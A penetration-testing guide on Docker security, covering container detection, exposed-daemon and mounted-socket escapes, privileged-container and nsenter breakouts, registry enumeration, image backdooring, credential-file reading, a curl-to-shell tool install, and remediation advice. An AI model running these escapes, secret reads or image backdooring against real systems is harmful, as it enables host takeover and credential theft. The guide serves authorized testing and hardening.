8 min read

Container Security

Docker Security Testing

Container security assessment covering Docker daemon misconfigurations, container escapes, image vulnerabilities, and registry attacks.

Docker Escape Decision Tree

Container Detection

Container Environment Detection
# Check if running in Docker
cat /proc/1/cgroup 2>/dev/null | grep -i docker
ls -la /.dockerenv 2>/dev/null

# Check container ID
cat /etc/hostname

# Container capabilities
cat /proc/self/status | grep Cap

Docker Daemon Attacks

Exposed Docker Socket

Critical Vulnerability

An exposed Docker socket (TCP 2375/2376 or mounted /var/run/docker.sock) provides root-equivalent access to the host system.
Remote Docker API Exploitation
# Check for exposed TCP socket
nmap -p 2375,2376 --script docker-version TARGET

# Test unauthenticated access
curl http://TARGET:2375/info
curl http://TARGET:2375/containers/json
curl http://TARGET:2375/images/json

# List all containers
curl -s http://TARGET:2375/containers/json?all=1 | jq

Mounted Docker Socket Escape

Docker Socket Container Escape
# Check for mounted Docker socket
ls -la /var/run/docker.sock

# If present, we can control Docker daemon
docker ps
docker images

# Escape to host
docker run -it --privileged --pid=host --net=host -v /:/host alpine chroot /host

Container Escape Techniques

Privileged Container

Privileged Container Escape
# Check if privileged (all capabilities)
cat /proc/self/status | grep CapEff
# 0000003fffffffff = privileged (all caps)

# Method 1: Mount host disk
fdisk -l  # Find host disk
mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host

# Method 2: nsenter to host
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash

Capability Abuse

Capability Escape Method Risk
CAP_SYS_ADMIN Mount filesystems, cgroup escape Critical
CAP_SYS_PTRACE Process injection, /proc access High
CAP_NET_ADMIN Network manipulation, sniffing Medium
CAP_SYS_MODULE Load kernel modules Critical

Sensitive Mount Escapes

Sensitive Mount Exploitation
# Check sensitive mounts
mount | grep -E 'proc|sys|dev'
ls -la /dev

# /dev/sda - Host disk access
fdisk -l
mount /dev/sda1 /mnt

# Host network namespace
# If --net=host is set, access host network interfaces
ip addr

Image and Registry Attacks

Registry Enumeration

Docker Registry Enumeration
# Check for exposed registry
curl http://REGISTRY:5000/v2/

# List repositories
curl http://REGISTRY:5000/v2/_catalog

# List tags for image
curl http://REGISTRY:5000/v2/IMAGE_NAME/tags/list

# Get manifest
curl http://REGISTRY:5000/v2/IMAGE_NAME/manifests/latest

# Download layer blob
curl -o layer.tar.gz http://REGISTRY:5000/v2/IMAGE_NAME/blobs/sha256:HASH

# Extract and analyze
tar -xzf layer.tar.gz
grep -r password .
grep -r secret .

Malicious Image Injection

Image Supply Chain Attack
# If write access to registry exists

# 1. Pull legitimate image
docker pull registry:5000/app:latest

# 2. Modify with backdoor
docker run -it registry:5000/app:latest /bin/sh
# Add backdoor, then commit
docker commit CONTAINER_ID registry:5000/app:latest

# 3. Push backdoored image
docker push registry:5000/app:latest

Image Security Scanning

Image Vulnerability Scanning
# Trivy - Comprehensive vulnerability scanner
trivy image nginx:latest
trivy image --severity HIGH,CRITICAL nginx:latest

# Grype - Anchore vulnerability scanner
grype nginx:latest

# Dive - Analyze image layers for secrets
dive nginx:latest

Runtime Exploitation

Container Process Enumeration

Container Process Analysis
# From host - enumerate containers
docker ps -a
docker inspect CONTAINER

# Get container filesystem
docker export CONTAINER > container.tar

# Copy files from container
docker cp CONTAINER:/etc/passwd ./passwd

# Execute in running container
docker exec -it CONTAINER /bin/bash

# View logs (may contain secrets)
docker logs CONTAINER

Secrets in Container

Container Secrets Discovery
# Environment variables
env

# Docker secrets location
ls -la /run/secrets/
cat /run/secrets/*

# Check for mounted secret files
mount | grep secret

# Common credential locations
cat ~/.aws/credentials
cat ~/.docker/config.json
cat ~/.kube/config

Tools

Deepce

Docker enumeration and escape tool.

curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh | sh

CDK

Container penetration toolkit.

./cdk evaluate
./cdk run escape-privileged

Amicontained

Container introspection tool.

./amicontained

Docker Bench

CIS Docker benchmark checker.

docker run -it --net host --pid host docker/docker-bench-security

Quick Escape Check Script

container-escape-check.sh
#!/bin/bash
# Quick container escape enumeration

echo '=== Container Detection ==='
cat /proc/1/cgroup 2>/dev/null | grep -q docker && echo '[+] Running in Docker'
ls /.dockerenv 2>/dev/null && echo '[+] .dockerenv exists'

echo ''
echo '=== Privileges ==='
cat /proc/self/status | grep CapEff

echo ''
echo '=== Sensitive Mounts ==='
ls -la /var/run/docker.sock 2>/dev/null && echo '[!] Docker socket mounted!'

echo ''
echo '=== Network ==='
hostname -I
ip route

Docker Security Labs

Hands-on practice with Docker attack and escape techniques.

Container Escape Gauntlet Custom Lab hard
Run deepce inside a container to auto-detect escape pathsEscape a privileged container via host disk mount and nsenterEscape via a mounted Docker socket (spawn a new privileged container)Exploit CAP_SYS_ADMIN to perform a cgroup-based escapeAttempt escape from a locked-down container (no caps, seccomp, read-only root)Compare CDK vs deepce vs amicontained detection capabilities
Docker Registry & Image Supply Chain Custom Lab medium
Deploy a private Docker registry without authenticationEnumerate repositories and tags via the registry APIDownload image layers and search for hardcoded secretsInject a backdoor into an existing image and push it backScan images with Trivy and Grype to find known CVEsImplement Docker Content Trust and verify signed images
Exposed Docker Daemon Exploitation Custom Lab medium
Discover an exposed Docker API on port 2375 (no TLS)Enumerate all containers, images, and volumes via the APICreate a privileged container mounting the host filesystemAdd an SSH key to the host's /root/.ssh/authorized_keysRun Docker Bench Security and remediate critical findings

Evidence to Capture

A container finding is only meaningful with the runtime configuration that produced it, because the same image escapes or does not depending on how it was started.

Container identity: Container ID from /etc/hostname, the image digest, and the orchestrator in play, so the client can find the exact workload.

Capability set: CapEff and CapPrm from /proc/self/status with the capability names decoded, captured before and after any escalation.

Mount and namespace state: The output of mount plus the namespace links under /proc/1/ns, showing which host paths and namespaces are shared.

Daemon exposure: The socket path or TCP endpoint, whether it is authenticated, and the API version the daemon returned.

Escape command and result: The exact command and the host-side observation that proves it, such as a host file read or a host process listed, not just a shell prompt.

Image provenance: Registry, repository, tag and digest, plus the layer or file that introduced the issue.

Likely False Positives

Container root is not host root, and a capability is not a syscall. Each of these turns an apparent escape into a configuration note.

  • Rootless or user-namespaced daemon: Root inside a user-namespaced container is not root on the host. Check the uid mapping before writing an escape.
  • Seccomp or AppArmor blocking the syscall: A capability being present does not mean the syscall it needs is permitted; the attempt has to complete.
  • Read-only or nosuid mount: An escape that depends on writing to a host mount fails on a read-only mount, and a nosuid mount defeats a setuid step.
  • Privileged without host reachability: A privileged container in a VM-isolated runtime still has to reach something worth reaching. State the impact actually demonstrated.
  • Socket present but not writable: A mounted docker socket the process cannot write to, or a daemon behind TLS client authentication, is not an exposure.
  • Scanner severity without reachability: A critical CVE in a package the service never loads is not an exploitable finding for this workload.
  • Resources limits read as isolation: Memory and CPU limits constrain a container, they do not isolate it. Their absence is not an escape path.

Testing Checklist

Host and daemon

  • ☐ Socket path or TCP endpoint recorded with its authentication state
  • ☐ Daemon and API version captured
  • ☐ Socket reachability tested from the workload process, not only from a shell
  • ☐ Host filesystem paths mounted into the container listed

Container configuration

  • ☐ Capability set decoded and compared against the default set
  • ☐ Privileged flag, host PID and host network recorded
  • ☐ Seccomp and AppArmor profiles named
  • ☐ User and uid mapping inside the container recorded
  • ☐ Writable host mounts identified

Image and registry

  • ☐ Image digest recorded, not the tag alone
  • ☐ Registry authentication and anonymous pull tested
  • ☐ Image history reviewed for build-time secrets
  • ☐ Base image age and known vulnerabilities noted with the scanner used

Runtime

  • ☐ Escape attempts recorded with the command and the host-side proof
  • ☐ Secrets in environment variables and files recorded as paths
  • ☐ Host process visibility from the container noted
  • ☐ Evidence timestamps recorded for correlation with host logs

Remediation & Defense

Daemon and socket

  • • Do not mount the Docker socket into workloads; use a scoped API proxy where a workload must control containers
  • • Require TLS client authentication on any TCP daemon endpoint
  • • Run the daemon rootless where the platform supports it

Container configuration

  • • Drop all capabilities and add back only those the process needs
  • • Remove privileged mode, host PID and host network from workload specs
  • • Apply a seccomp profile and a read-only root filesystem
  • • Run as a non-root user with a fixed uid

Image and registry

  • • Pin images by digest and rebuild rather than pulling tags
  • • Scan images in CI and block on the severity threshold the client accepts
  • • Keep registry credentials out of image layers and build arguments

Host

  • • Segment the host network so an escape cannot reach management interfaces
  • • Log container start, exec and mount events on the host
  • • Patch the kernel and container runtime on the same cadence as the host OS